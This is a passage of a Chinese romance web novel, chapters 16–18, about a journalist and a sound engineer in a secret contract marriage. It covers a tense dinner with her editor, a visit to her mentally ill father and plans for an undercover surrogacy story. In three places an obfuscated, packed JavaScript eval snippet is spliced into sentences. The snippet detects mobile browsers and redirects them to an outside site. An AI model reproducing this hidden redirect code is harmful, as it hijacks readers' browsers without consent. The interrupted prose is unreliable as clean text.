大概因为她对身边的人有一种盲目的信任——他是一个可以为了陌生人拼命的人,那么是不是同理可证,他也绝不会在危急关头扔下她? 也许是的,但更关键的是,这仅仅是第一次暗访,她就已经能感觉到,自己在不自觉地依赖他了。 这对一个记者来说,不是个好兆头。 这么想着,她就这么问了:“下次……要不你就别来了吧?” 齐寻偏头看了她一眼,没做声。 黎叙闻半低着头,有一下没一下地玩着小话筒,垂落的发丝擦过手背, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816608|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她忽然想起当时自己情绪翻涌,齐寻用掌心将她的手整个包住,然后用力握了至关重要的那一下。 “你倒很稳。”她按了按眼角,打破了静默:“刚刚看到那些照片,听到她那些话,你不气吗?” 齐寻没有第一时间回答,盯着前车亮了又灭的尾灯,停了停,才说:“生气。” 其实“生气”“开心”这种激烈的情绪,他一般是没有的。 他这个人就是活得非常寡淡,身上有滋有味的部分早就死了。 但那时候,他手心里有一颗拳头因为愤怒而攥紧着颤抖,恍若一颗蓬勃跳动着的小小心脏。 他能听到她细微加重的呼吸声,她因为强忍愤怒而微微发红的耳垂就在咫尺之遥。 那个瞬间,他好像突然活过来了。 于是他紧紧握住她的手,像握住了他早就遗失在过去的那颗鲜活的心。 他停在方向盘上的手不可抑制地蜷缩了一下,似乎还能感受到她温热战栗的体温。 “咦?”副驾的黎叙闻忽然出声:“这东西,它本来就是能拆下来的么?” 齐寻扭头一看—— 刚刚灼然的感动瞬间荡然无存。 他用惯的那支话筒咪头正握在她手里,跟下方连接的接收器身首异处,断口处还荡着几根飘悠的铜丝,生怕他看不出它死得彻底。 齐寻不可置信地看着她,生生给黎叙闻看毛了。 大概是明白自己闯了祸,黎叙闻舔了舔嘴唇,问:“多少钱?” “一千八。” 黎叙闻干笑一声:“咱俩可是领了证的关系,也是这个价啊?” 齐寻面无表情:“两千。” 黎叙闻若无其事地扭过脸,右手偷偷把断掉的咪头塞进了座椅背的缝里。 动作被齐寻透过车窗反光看得一清二楚。 齐寻:……………… 真是服了。 正巧遇上一个红灯,车身一顿,黎叙闻的心也跟着一顿,欲盖弥彰似地低头玩手机,结果没等来齐寻要账,却等来一个始料未及的噩耗。 马颂今:你跟齐寻领证了???? 马颂今:什么时候????? 马颂今:你现在就带着你的便宜老公来一趟!!不来你明天也别来上班了! 马颂今:[定位] 黎叙闻毫无表情地锁了屏。 她还以为自己没露出什么马脚,可几秒之后,齐寻就问:“怎么了?” “也没什么,就是……”她慢慢扭过脸,僵硬道:“你墓地买好了吗?” 16. 第 16 章 这件事马颂今本来是没机会知道的,怪就怪夏蓉今天去报社门口等黎叙闻,结果还没来得及给她发条微信,就等来了下班的马颂今。 马颂今也认识夏蓉,还带着两个姑娘一起吃过饭,于是就停下随便聊了两句。 一聊就聊出问题了。 夏蓉得知黎叙闻出去采访了,恍然道:“哦哦,是那个代孕的选题吧?前两天他们才跟我聊过那个呢,没想到这么快。” 他们? 马颂今笑眯眯问:“她跟谁啊?也是我们报社的?” “跟姐夫呀,”夏蓉不疑有他:“跟她老公。” 老公? 马颂今端住了面色,没有直接问,而是旁敲侧击:“哦,你也见着了?挺帅的吧,个儿也高,工作也好。” “是呢,”夏蓉眼睛亮晶晶地憧憬:“录音师诶,好高级。不过闻闻姐瞒得也真严实,之前都没听她说过这个人呢,说领证就领证了。” 饶是马颂今见过多少大风大浪,听到“领证”的瞬间,也还是险些没绷住表情,眉毛扬得比天高:“……你说什么?” 他以为老公老婆就是年轻人在过家家随便叫的,领证了?领什么证?是他想的那个证吗? 夏蓉是个机灵孩子,见他这个反应,立刻意识到出了问题:“啊,不是……她领证了没跟您说吗?” “哦,说了,怎么没说,这么大的事。”马颂今若无其事掰正了语气:“年纪大了,我最近耳朵不太好使。” 夏蓉再次被他骗过:“哦哦,那就好,那我先回去啦,等她有空了我再来。” 于是此时此刻,包厢里的三个人各怀心思,表情各异,马颂今面色凛然,黎叙闻强装镇定,齐寻…… 齐寻十指交叠放在桌上,姿态恭敬,但眉眼舒展,丝毫看不出紧张。 包厢木门厚重,大厅中交错的喧哗声从薄薄的门缝里挤进来,让里面紧绷的氛围一冲,很快消弭了。 马颂今指尖敲了敲桌面,神色沉郁地剔了一眼齐寻:“小齐,解释一下。” 黎叙闻后颈一阵麻痒,起了一层鸡皮疙瘩:老马这个人啰嗦,但字越少,事越大,这一句的含金量,他要是个法官,齐寻基本上已经死定了。 齐寻倒面色如常:“您希望我解释什么?” 马颂今脸更黑了,屈指重重地在桌上敲了敲:“你说呢?你们两个见面都还没几天吧,怎么悄没声儿的,证都领了?你不觉得应该给我一个交代吗?” 马总编生起气来,是远近闻名的吓人,据说年轻的时候还为了同僚跟总台台长吵得天翻地覆,办公室烟灰缸都砸了,现在虽然年纪大了有所收敛,但积威犹在,眉头的川字纹跟把利剑似的,一皱起来就有要斩人的气势。 黎叙闻手指攥紧了椅子的坐包边缘,海绵深深地陷下去。 这次的调查对她来说意义重大,是她不惜随便找个人结婚都要拿下的独家,但这是对她而言。 对齐寻来说,这大概只是另外一次救援,只要人能救出来,是谁去采访,谁做报道,对他来说都没差别,或者说把这个案子交给别人更好,这样他就不必陪着她冒风险。 万一他当着马颂今的面,直接把实话撂了…… “我是欠您一个交代,主要是没来得及汇报,”齐寻不动如山:“至于其他的,不管是我还是闻闻,都问心无愧。” 还闻闻……还问心无愧…… 黎叙闻扶住额头,侧过脸对齐寻疯狂使眼色。 路上不是说好的么,见了马叔,就说是两人一见钟情,一时上头,冷静下来觉得确实不合适,正准备这两天去离了。 结果齐寻完全把这些台词都扔到了九霄云外,非但不认怂,反而牵起她另一只手,十指相扣,放在了桌面上。 黎叙闻连挣扎的机会都没有,任自己的手落入了另一只温暖而笃定的手掌,不由自主地被他牵引,握在她虎口的拇指轻轻动了动,关节处还未脱落的疤若有似无地刮过她细腻肌肤,也不知是不是他悄然的安抚。 “我明白您觉得仓促,毕竟在遇到她之前,我也没有想过我会闪婚。”齐寻波澜不惊地回视马颂今:“正是因为这样,我才提议先不要惊动身边的人,因为我不想她受到无谓追问和好奇目光的侵扰。” 这一句完全把隐婚的责任揽到了自己身上,没有一点推卸的意思,倒让马颂今心里的那根弦稍稍松了松。 他盯着那一双交握的手,闻闻的手指胎瓷似的,又细又白,被男人小麦色的肌肤裹在里头,指尖微微向内扣着,严丝合缝被保护在比她大得多的手掌中间,像一种本能的依靠。 这个念头,让他眉头忽地一松,连带着面色稍霁,不甚明显地清了清嗓子。 但这还不够,远远不够。 他明明答应过老黎,会保护好他的女儿,会让她平安喜乐、安安稳稳。她应当要嫁给世界上最靠谱、最好的男人,而不是像现在这样,几天的时间,就被一个臭小子给骗走了。 马颂今揉了揉眉心,说:“年轻人一时冲动,要知道及时止损,这次的事情就当没发生过,明天你们就去民政局,把婚离了。” 黎叙闻:“好。” 齐寻:“不行。” 黎叙闻:? 她转头怒视齐寻,用几乎气声悄悄警告他:“刚刚怎么说的,你都忘了?” 齐寻不为所动,反而握紧她的手,一瞬不瞬地盯着马颂今,道:“从小家里就教我,婚姻是神圣的结合,不是可以随意处理的儿戏,”他侧过脸,意有所指地扫了黎叙闻一眼:“更不是一场以物易物的交易。” 黎叙闻眉间蓦地一挑。 马颂今嗤笑:“小年轻一天就知道情情爱爱,见一面就觉得可以走完一辈子。还神圣的结合,婚姻里那么多鸡毛蒜皮,你那点见色起意的所谓的爱,能撑得住?” 这一记可谓是绝杀,别说他们只是协议结婚,就算真是因为相爱闪婚的,也禁不住这句盘问,因为它根本无解。 就算口才再好,舌灿莲花,能说的也不过是一些苍白的承诺。 黎叙闻忽然不想阻止他了,她一手托腮,饶有兴致地望着齐寻,好奇他会说出什么答案,来圆上自己铺垫过的深情。 齐寻默了半刻,慢慢道:“她救过我。” 其余两人齐齐讶异地扬起眉。 马颂今:“什么时候?” 黎叙闻以眼神发出同样的询问:对啊,什么时候? “是我不知道为什么活下去的时候。”齐寻闭了闭眼:“如果不是她,那时候命悬一线,我是真的想过放弃的。” 黎叙闻呼吸一滞,蓦地想起他站在危楼里,隔着茫茫浓烟,跟她的镜头对视的眼睛。 “我不是因为想要转行做新闻录音师才找到您的,马总编,我撒谎了。”齐寻一字一句,说得极为真诚:“我想找的,一直都是她。” 黎叙闻简直要为他这个回答起立鼓掌。 最难解的谎言,是七分真相滴水不漏,三分假话用以藏身——他们之前见过是真,一起经历过救援是真,他托人找到她跟她相亲也是真,可这些桩桩件件,都不是他们结婚的真相。 这人,有点东西。 马颂今显然也被这个回答说服了,他间不容瞬地注视着齐寻,缓缓眯起了眼睛。 这跟他想象中的支吾和搪塞完全不一样,他甚至觉得自己这样的逼问,是对两人感情的亵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816609|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渎。 他眼神微微动了动,又去看黎叙闻:“你相信他?” 言语仍然冷硬,但字里行间已经松动了。 “嗯,我信他。” 马颂今好不容易攒起来的一点赞同,又被她这么一句完全不顾后果的莽撞完全击碎了:“……这就是你当了两年记者学到的东西啊?这么轻易就……” “我做记者,学到的是‘眼见未必为实,求真必有其据。’”黎叙闻面上笑得天衣无缝,心里却留了一只眼睛,清醒地看着入戏的自己:“一个对生命珍重、经历过生死的人,承诺必然比别人的更厚重。” 齐寻眉心抽了抽,眼底有一丝克制的动容,在一片冷静中骤然碎裂。 “必有其据?”马颂今一头雾水:“你们之前,到底……” 黎叙闻冲马颂今亦真亦假地粲然一笑,用最后一句话彻底终结了比赛:“这是我们之间第一个秘密。” 她一笑,清澈眸光中就盈满了雀跃的笑意,齐寻只觉得这笑意长了翅膀似的,扑棱着翅膀,也飞进了自己的眼睛。 他们掌心相对,脉搏相贴,他手心里涌动着独属于她的幽微而私密的颤动。 有一瞬间,他甚至分不清这颤动到底是属于调查记者黎叙闻,还是那个高中女生“文文”。 两人之间不足为外人道的亲密,原原本本地落在了马颂今探查的眼睛里。 他给黎叙闻张罗过不少相亲对象,有人看上她的样貌,有人喜欢她的才华,却还没有人在这种时候真诚又无措地说,没有她,我真的想过一了百了。 他低头喝了口茶,抬手把凉掉的茶汤泼在地上,默不作声地揭过这一节,又问:“婚礼呢,想没想好怎么办?到时候你爸……” 他忽然停下,抬头看了黎叙闻一眼。 黎叙闻表情空白了一瞬间,而后迅速低下头,轻声说:“不办了,我不喜欢那些。” 她的落寞映进齐寻眼里,他不明所以,只能用指腹蹭了蹭她的手背:“我没意见。” 马颂今默了默,问:“你是不是根本没跟你爸说?” 黎叙闻原本低垂着眼睛,这句话像一根细刺,轻而易举戳破了她精心维持的冷静。 她猛地把手从齐寻掌心抽出来,语气冷硬:“有必要吗?他还认识我是谁吗?” 马颂今哽了一瞬,眼底沉着些说不出的复杂,张了张嘴,却没有再开口。 刚才暖融起来的气氛,又被这两句话轻而易举地结成冰。 齐寻视线不着痕迹地在两人之间逡巡,最后倒了杯茶,放进黎叙闻的掌心。 黎叙闻抬眸看了他一眼,神情僵硬地接过茶杯握在掌心。杯壁传来阵阵熨帖的蒸汽,让她稍稍找回了一点平静。 齐寻这才抬头看向马颂今:“给伯父登门赔罪是我的责任,改天我会亲自去跟他说明一切。” 马颂今盯了他半晌,冷笑一声:“你口气不小,你知道她爸是什么情况?” 齐寻坦然承接他的目光,语气低而稳:“是什么情况都不要紧,闻闻不想面对的,我会替她撑着。” 这句话像块沉甸甸的石头砸在桌上,黎叙闻愣了愣,转头望向他笃定的眼底。 ……她已经太久太久没有过依赖别人的念头,这一瞬间,她的心里好像有一块变得酥软,也变得懦弱。 可暖流只在她心上悄悄流过了一刹那,很快便被她脑中的警铃凝成一块冷硬的石头。 都是权宜之计,他演得再真诚,说得再动听,也只是一场好戏。 不可能真的有什么人可以这样让她依赖。 她扯了扯嘴角,把杯子放回桌上,站起身来:“总编,咱们有空报社见吧。少陪了。” 17. 第 17 章 夏日欲晚,忙碌街边的车流人海一刻不停地流动,奔向天边褚橙色的海。 黎叙闻从饭店出来,脸色铁青地逆着人流往回走,身后有人叫她:“闻闻!” 她在煌煌底噪和车流声中嗤笑:还演呢。 脚步却不由自主慢下来。 齐寻很快赶上她,却没再出声,一言不发跟着她向前走,直到黎叙闻忍无可忍地转过身:“跟着我干什么?你家也住这个方向?” 齐寻摊开手掌:“手机。” 他掌心躺着她的电话,黎叙闻一摸口袋,里面果然空无一物,抬头看他一眼,一把拿过手机,转身就走。 ……不知道为什么更烦了。 可身后的脚步声却没有消失,还是亦步亦趋跟着她,她快他就快,她慢他就慢,她停他也停。 黎叙闻啧一声:“你到底……” “别动,”齐寻顺势捂住她的嘴:“我看见杨大夫了。” 黎叙闻微微瞪大眼。 盖在她口鼻处的手慢慢松开:“听我说,现在打我一下,然后挽住我的胳膊。” 黎叙闻怔愣着照做,挎着他的手臂往前走了两步,忽然反应过来:“齐寻!” 齐寻夹紧臂弯,眉梢带着笑意:“嗯?” 黎叙闻咬牙切齿:“杨大夫人呢!” 他答得理直气壮:“我看错了。” 黎叙闻怒视他,这么一折腾,刚刚的憋闷也消失无踪了。 “没事了,”她低下头,声音全无气势:“你也回家吧,今天辛苦你,见笑了。” 说着就抬手想把自己从他臂弯里抽出来,可一下子竟没抽得动。 齐寻自然而然拉起她的手:“车在那边,我送你。” 他掌心的粗粝猛地覆上手背,干燥的热度蓦地点燃了黎叙闻残留的莫名情绪,她甩开手:“下工了齐影帝,咱不是真夫妻,你是不是太入戏了?” 齐寻手心一空,扭头皱眉看了她一阵,像是忽然明白了她情绪不好的源头:“你爸那里如果你需要……” 黎叙闻一把推开他,声音尖利得带刺:“跟你有什么关系?” 来往行人匆匆掠过他们,有人被高声争执吸引了目光,间或瞥他们一眼,又绕着他们低头离开。 齐寻沉默不语地盯着她发红的脸,半晌才道:“是跟我没关系。” “老马说让赶紧去离婚,你答应就行了啊,为什么要说那么多没有必要的话?”黎叙闻眼底映着灼烈晚霞,像盛着一团火:“结婚证已经用完了,咱们的婚姻也没有继续的必要,你为什么非要把事情搞得这么复杂?” 齐寻抿着唇角笑了一声:“因为我要参与,你不答应,那对不起了,我只有把水搅浑。” 黎叙闻不可置信地看着他:“齐寻你到底要干什么?” “要保护你。” “你是不是入戏太深了?”她简直被他气笑:“在剧组看别人演不过瘾,回来演到我身上来了?” 齐寻双手抱臂,冷静的话里隐隐透着焦躁:“刚刚那个场面,话赶话说到那里,我那么说有问题吗?” “……没有问题。” “那你现在在发什么疯?” 黎叙闻猛地抬头,眸底银光一闪:“因为你让我混乱!” 齐寻攥住她的手腕,陡然将她拉近一步:“你以为混乱的只有你吗?” 世界就此安静下来。 两人离得极近,黎叙闻昂着下巴,微微凝眉注视他,和他身后一片血红耀眼的夕阳。 世界一定是被静音了,不然为什么连他失序的心跳和浅乱的呼吸声,都这么清晰地被她知晓? 她深吸一口气,却闻见空气里淡淡的木质香气。 他身上一直有这个味道么,还是说之前他的一切都淹没在茫茫背景里,从来没有引起过她的注意? “对不起啊,”黎叙闻定了定神,笑了一声挣开他:“我没想到会变成这样。” 她叫了网约车,故作轻松道:“没想到戏也这么难演,我有点后悔了。” 齐寻抱起手臂,视线落在她的发旋,没有做声。 两人沉默地站在街边,霞光把两道影子拉得很长,慢慢地叠在一起。 不多时,一辆白色网约车打着双闪缓缓停在路边。黎叙闻低头看了一眼震动的手机,起身就走。 齐寻没再拦她,只是在她身后问了一句:“还演吗?” 黎叙闻像是没听见,一矮身坐进网约车里,刹车灯一亮一灭,载着她驶远了。 齐寻站在原地,目送她当了逃兵,转身也想离开,手机却嗡嗡一响,一低头,见屏幕上有一条黎叙闻发的微信。 窄窄薄薄的一道微信通知,他盯着看了半天,深吸一次,才点进去。 是黎叙闻发的行程分享。 这是还演的意思。 另一边,网约车后座响起一声清脆的提示音,黎叙闻点开看了一眼。 齐寻:收工了就好好休息,期待下一张通告单。 她不甚在意地锁了屏,扭头去看外面的街景,过了两秒,又打开百度,输入“通告单”。 通告单:即拍摄期间由副导演每天给演员及工作人员发放、包含大量拍摄信息的通知单。通告单中的内容包括:在拍摄日内各个工作人员的名单、拍摄地点、拍摄时间、具体职责等所有的拍摄信息。 黎叙闻:…… 不愧影视民工。 后知后觉,她好像从这个小小的词里窥见了某个人一点兵荒马乱的日常。 黎叙闻在手机屏幕的冷光里,轻轻扬了扬唇角。 怪有意思的。 最后,黎叙闻还是没有回家,她在车上辗转反侧,最终还是决定,去见一见黎策。 疗养院离市内有些距离,黎叙闻穿过层层绿化带,踩着一地淡蓝月光进了大门。 不知是不是故刻意为之,疗养院的走廊都建得很窄很深,每次她踏进这里,都有一种踏进了另一个出不去的宇宙的窒息感。 后来有人告诉她,正是这种窒息的包裹,才让病人们觉得安全和不可脱离。 走廊两边密布着紧闭的房门,透过门上一人高的透板,能看见房间里的状况——大多数病人很安静,只是一动不动地望着窗外,少数会不停地踱步,嘴里念念有词,也有人会隔着透板,冲她微笑打招呼。 她的父亲,是里面很特殊的一位。 推开一间单人间的门,只见黎策背对着她,在床前对着桌子上监视病人行动的摄像头做报道。 “……我们从画面中可以看到,大量的武器正通过东部边境线进入阿肯什境内,武装叛军得到卡塔克军方支持,正在筹备对平民区域的二次打击……” 黎叙闻提着盒饭靠在门口,静静地等着他做完这条报道。 因为如果她这时候进去打断,黎策就会以为她是叛徒,是为了不让总台和观众知道事情的真相,而专门来搅局的叛徒。 好在他的报道不会太长,绝对不会超过三分二十秒——这是当时他在前线时,编导给过他的时间限制。在他作为战地记者的长长的生涯里,他一次都没有违反过这个时限。 “……事态将如何发展,我们将在前方保持密切关注。” 听到这一句,黎叙闻脚下才动了,猫着腰进了房间,把盒饭放在桌子上:“黎记者,来休息一下,吃口饭。” 黎策空握着拳的手从胸口放下,走过来在盒饭旁边放了一团空气:“话筒帮我看一下。” 他端起饭盒,狼吞虎咽地往嘴里扒饭,一边吃一边含糊道:“现在台里条件好了,都有专门的后勤官了。” 黎叙闻垂着眼睛盯着他发顶新染的花白,慢慢地说:“是呀,条件好了。” 她停了停,说:“爸爸,我结婚了。” 黎策手里的筷子一停,茫然地抬起头,仔仔细细地凝视着女儿的脸。 黎叙闻呼吸都悬停住——她害怕父亲忽然清醒,追问她为什么要突然结婚。 却更怕在他眼里,她根本不是他的女儿。 黎策眼也不眨地看着她,呼吸渐粗渐重,这是他精神开始不平稳的前兆。 黎叙闻攥住自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816610|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣角:“爸……” 黎策忽然笑了。 “我哪有你这么大的女儿,”他又往嘴里送了一口菜:“你结婚了?那是不是要回国了,以后的后勤,谁管?” 房间里中央空调的出风口呼呼吹着风,初夏夜里的虫鸣却忽然远去了。 黎叙闻盯着他看了很久,肩膀陡然垮下来。 她搓掉手心里的汗,尽量掩盖她的失望:“不会很久。我会把任务给其他人交代好,他们给你送饭,你也得好好吃。” “哎,”黎策点头:“你交代的人是穿白大褂吗,你这么说,我就放心了。” 大概是在前线养成的习惯,他吃饭一向很快,没有几分钟,盒饭就见了底。黎策放下筷子一抹嘴,对黎叙闻招手:“哎,你来看。” 黎叙闻不低头都知道他要给自己看什么:肯定是他手机里,她高中时候的照片。 “这才是我女儿,”黎策用大拇指抹着他手机屏上的指纹,屏幕上的女孩微胖,顶着一张青涩但骄傲的脸,正对着镜头空握着拳,像握着话筒似的。 “我女儿叫黎叙闻,我给起的,好听吗?”黎策捧着手机絮叨:“我给她起这个名字,就是想让她子承父业。她很争气的,小时候我们家门口的公园瞎涨价,她硬是带着一帮小孩,一个问题一个问题把老板逼得哑口无言。那时候我们台长都说呢,说她天生就是干记者的料……” 在他喋喋不休地说起这些重复过无数遍的话时,黎叙闻一言不发,始终望着他这么多年,都没有变过脸。 他就是一条平滑的管道,无论是时间还是皱纹,都从没有在他身上停留过。 这具身体像一座坚固的巨塔,里面的血肉在他混沌的双眼后面不停地融化、板结、排列组合,将他的灵魂困在了时光的上游。 落到今天这个地步,他后悔了么? 如果他知道他的女儿跟他一样PTSD易感,还坚持想做战地记者,只是为了替他赎罪,他还会骄傲么? 她看着爸爸亢奋得不正常的面容,轻轻笑了一声。 也许是太久没得到她的回应,黎策很不满地停下吹嘘,看向这个不低头看照片,反而一直盯着自己看的女人:“你这个人怎么回事,怎么不说话?我女儿不优秀吗?” 黎叙闻哑然失笑:“优秀,天上有地下无的优秀。” “可是我对不起她。” 黎策忽然抬起头,浑浊的眼睛看向黎叙闻那张早已褪去少年时期圆润的脸:“闻闻,爸爸对不起你。” 黎叙闻一愣,下一秒,一直被她埋在心底的我飞去就被狠狠抽汲上来,在她的眼底险些决堤。 然而,黎策目光的尽头并不是她。 他的视线越过她的肩头,看向床头上摆着的一只胖娃娃玩偶。 黎叙闻认识那个玩偶。 有一次黎策在前线,一年多没有回家,她跟爸爸视频,爸爸就举着这个娃娃,对屏幕另一边的她嘶吼:“闻闻!看!喜欢吗?像不像你!” 他之所以吼,是因为远处轰炸声如惊雷,他在撤离的防空洞里,掐着她生日的零点,想跟她说话。 黎叙闻到现在还记得那通电话里,人们慌乱地惊叫着的背景音。 那时候她看着爸爸手里那个胖娃娃,言不由衷地说,像。 可自从病过一场之后,她就再也没有胖过了。 黎策爱的始终是少女时代的黎叙闻。 此时此刻,她终于意识到在这场父女情深的叙事里,自己哪怕身为主角,也同样多余。 于是她没有出声打扰,安静地退了出去。 房间里低声呢喃的声音渐渐停了,想来黎策已经抱着玩偶睡去。黎叙闻进屋替他盖好被子,出来在走廊的墙上靠了一会儿,拿出手机,想找个人聊聊天。 还不等她找到一个可以闲话的对象,齐寻的对话框却忽然蹦出两条新消息。 齐寻:做人要重诺,说了还演,下次就得叫上我。 齐寻:别想太多,晚安。 黎叙闻手指一顿,没有回复,却把他的聊天框置了顶。 18. 第 18 章 下一张“通告单”,齐寻是在一周后收到的。 彼时他正跟相熟的导演在酒吧续摊,纷杂混乱的音乐吵得他头疼,有合作过的录音助理跑过来问他最近在忙什么,什么时候进组,能不能带她一个。 “有没有钱都没关系的,”刚毕业的小孩总是热情蓬勃,还没被这个行业毒打过:“主要是想跟着齐老师学点东西。” 导演在一旁眯着眼抽烟,冲空中喷了一口烟柱,笑道:“这个年纪就能做到声音指导的人,整个行业那都是凤毛麟角,小姑娘遇到一个可要跟紧了,”他一语双关地揶揄道:“别撒手啊。” 年轻姑娘不禁逗,在迷幻的灯光中红了脸,但又觉得导演说得很对,于是硬着头皮道:“齐老师……” 齐寻转身拿了瓶酒,再回来时不动声色地退了两步,靠在吧台边上,说:“你想学哪方面?声音设计?拟音?混录?” 她愣愣地仰头看着齐寻,支吾道:“想跟齐老师一样,十项全能。” 身边的导演制片在音乐间隙笑成一片:“你可别跟他一样,脸又臭性格又差,哄人也不会哄,十项全能有什么用,哪个姑娘愿意跟他?” 另一个小导演也凑过来开他玩笑:“我们齐老师到现在都取向成谜,”又对那助理姑娘说:“我看你也别白费心思了,剧组那么多明星大美女,想跟他做剧组夫妻的也不是没有,谁见过他松口了?” 助理姑娘眼圈都红了,对齐寻小声道:“齐老师,我没有那个意思……” 齐寻应了一声,看起来既没放心上,也不想多聊。 这一茬过去,另一个导演又顶着震耳欲聋的音乐插话进来:“说真的,哥们儿最近要开个新戏,投资都到位了,顶流加持,差个声音指导,要去现场盯一盯,”他伸出一只巴掌:“劳务这个数,来不来?” 齐寻想也不想:“不去,没时间。” 一进组就得连轴转,少说四五个月出不来,这还不算前期堪景。 等杀青了,黎叙闻那个小没良心的认不认识他了都还两说,工作都交给别人他又不放心,到时候白白伤了自己的名声。 “啧,没劲了啊,”那导演不太高兴:“七位数你都看不上?我这面子也不够使了?一个月前约你就约不动,现在还约不动,你到底搞什么名堂?” 一个月前他正满世界跟人打听闻闻呢,哪来的闲心进组。 现在就更不可能了。 齐寻松了口:“这样,你正常开机,定剪了就给我。” 定剪了就给他,意思是后期都包了。 导演一挑眉:“你亲自上?在你棚里?” “嗯,亲自上。” 现场工作一般是监听和录音,找两个有经验的话筒员和录音师就行,后期工作才是真正的大头。 齐寻那个录音棚,业内有名的难约,各种资本加持名导的面子,一天大几万,要是让齐寻亲自上手,那是另外的价钱。 这种要求,哪怕有交情,他都得想想怎么骗才能把齐寻骗来,结果他竟然自己点头了。 导演喜出望外:“真的?” “嗯。” 导演一块大石头落地,长舒一口气,挤眉弄眼叫大家再换地方:“旁边那家酒不错,我请客,一起放松放松!” 一众欢呼中,齐寻站直身体:“走了。” 导演认识他多年,对他的习惯心知肚明:“行吧唐僧,改天一起吃饭。” 一群人互相推搡吆喝着起身,乌泱泱涌着出门,助理姑娘像是没明白状况,木着脸跟着就要去,被齐寻抓着后衣领拖回来:“你干什么去?” 助理姑娘茫然地看着他:“啊?我……” 齐寻拿出手机给她推了张名片:“我有个学姐,做后期混音的,技术不错,你跟她吧。” 小助理感动得热泪盈眶:“谢谢齐老师,谢……” 齐寻手机响,他低头一看,屏幕上两个字:闻闻。 他跟小助理扬了扬手机,多一句招呼都没有,转身走了。 此时除了繁华地界夜生活喧闹的街区,京屿的大部分都已陷入甜美酣眠,黎叙闻那边非常安静,安静得能听得清她每一次不很平稳的呼吸扰动的一池电流。 齐寻出了酒吧,抬脚迈进一条僻静小巷,把那些关不住的死亡重金属都甩在身后,这才喂了一声。 她静静地听了一阵,问:“在外面玩?” “业内聚会。这么晚,怎么了?” 听筒里传来一阵布料摩擦的声音,她像是躺在床上,翻身换了个方向:“上次有人说做人要重诺,我践诺来了。” 齐寻想象着她的样子,好像她就站在面前,昂着下巴,一脸的盛气凌人。 他无声地翘了翘嘴角:“要去第二次了?” “嗯,时间久了,可能线索就断了。” “可以,什么时候?” “明天。”那边停顿了一下,又补充:“你要起不来,就明天下午,后天也行。” 齐寻笑了声:“你看不起录音师熬夜的水平?” 黎叙闻也在那边笑:“怕你脑袋不清醒说错话。不知好歹。” 也许是她那边夜色沉静,她的声音比面对面的时候柔软了许多,跟那天尖利着嗓子问他“跟你有什么关系”的时候判若两人。 齐寻喉结无声一滚:“明天中午吧,我去报社接你。” “好。” 正事敲定,两边却都没挂电话。 齐寻靠在巷口红褐色的裸砖墙上,背后印着白日里吸饱了的潮湿暑气 他背阔跟着听筒对面的清浅呼吸一起静静地起伏着,耳边颈后一阵一阵地麻痒,像沾着她气息中温热的水汽。 说不上是天气渐热黏腻引人躁动,还是他自己心猿意马,从别处沾染了些不明所以的冲动。 “齐寻?” “嗯。” 黎叙闻默了一阵子,才说:“那天……话说得好像都有点过火了。” 齐寻反应了一下,胸腔后知后觉震颤起来。 明明就是想认错,还非要“都”有点过火了——总之就是绝对不一个人低头。 他从善如流道了歉:“嗯,是我不对。” 那头气息明显地松了口气,紧张坏了似的:“你脾气不错。” 齐寻想起刚刚在酒吧别人说他“脾气差脸又臭,哄人也不会哄”,蓦地笑出声来。 “你笑什么?我说错了?” “没有,”他昧着良心:“我以为你忘了。” 黎叙闻窝在被子里,慢慢眨了眨眼:“不是,这周太忙了而已。” 她当然不会说她已经犹豫了好几天,每次想跟他道歉,却总是差一点勇气。 一周时间足够那些朦胧错位的混乱感渐渐消散,她蠢蠢欲动的依赖终于再次沉睡,也去给马颂今道了歉,跟他说了黎策的情况,引来他一阵唏嘘。 可是那天齐寻身后铺着的如血残阳,和他情急之下的那句“你以为混乱的只有你吗”,却时不时就会重新浮现在她眼前。 黎叙闻清了清嗓子:“你休息吧,明天中午……早点来接我。” 这句话随着远处开关门透出的蓝调一起流进齐寻的耳朵,他不由怔忪了一瞬。 它意味不明,像一句情话,女孩撒着娇让男朋友早点下班来接她去约会。 他空茫地盯了对面的垃圾桶几秒,又仰头去看斜钉在天上的一弯月亮。 对面听不到他的回应,又在渐渐凉下来的夜风中轻轻叫了他一声:“齐寻?” “嗯,知道了,”他声音涩哑:“晚安。” 这一周的沉寂,黎叙闻并没有闲着。 她比对过去的代孕事件追踪,得知机构附近一定有供代孕妈妈养胎的“宿舍”。这种地方一般蛰伏在附近的居民区,特别是有大户型房间的小区,尤其值得关注。 黎叙闻联系了几家房产中介,以租房为由打听到了户型,最终锁定了三个小区。 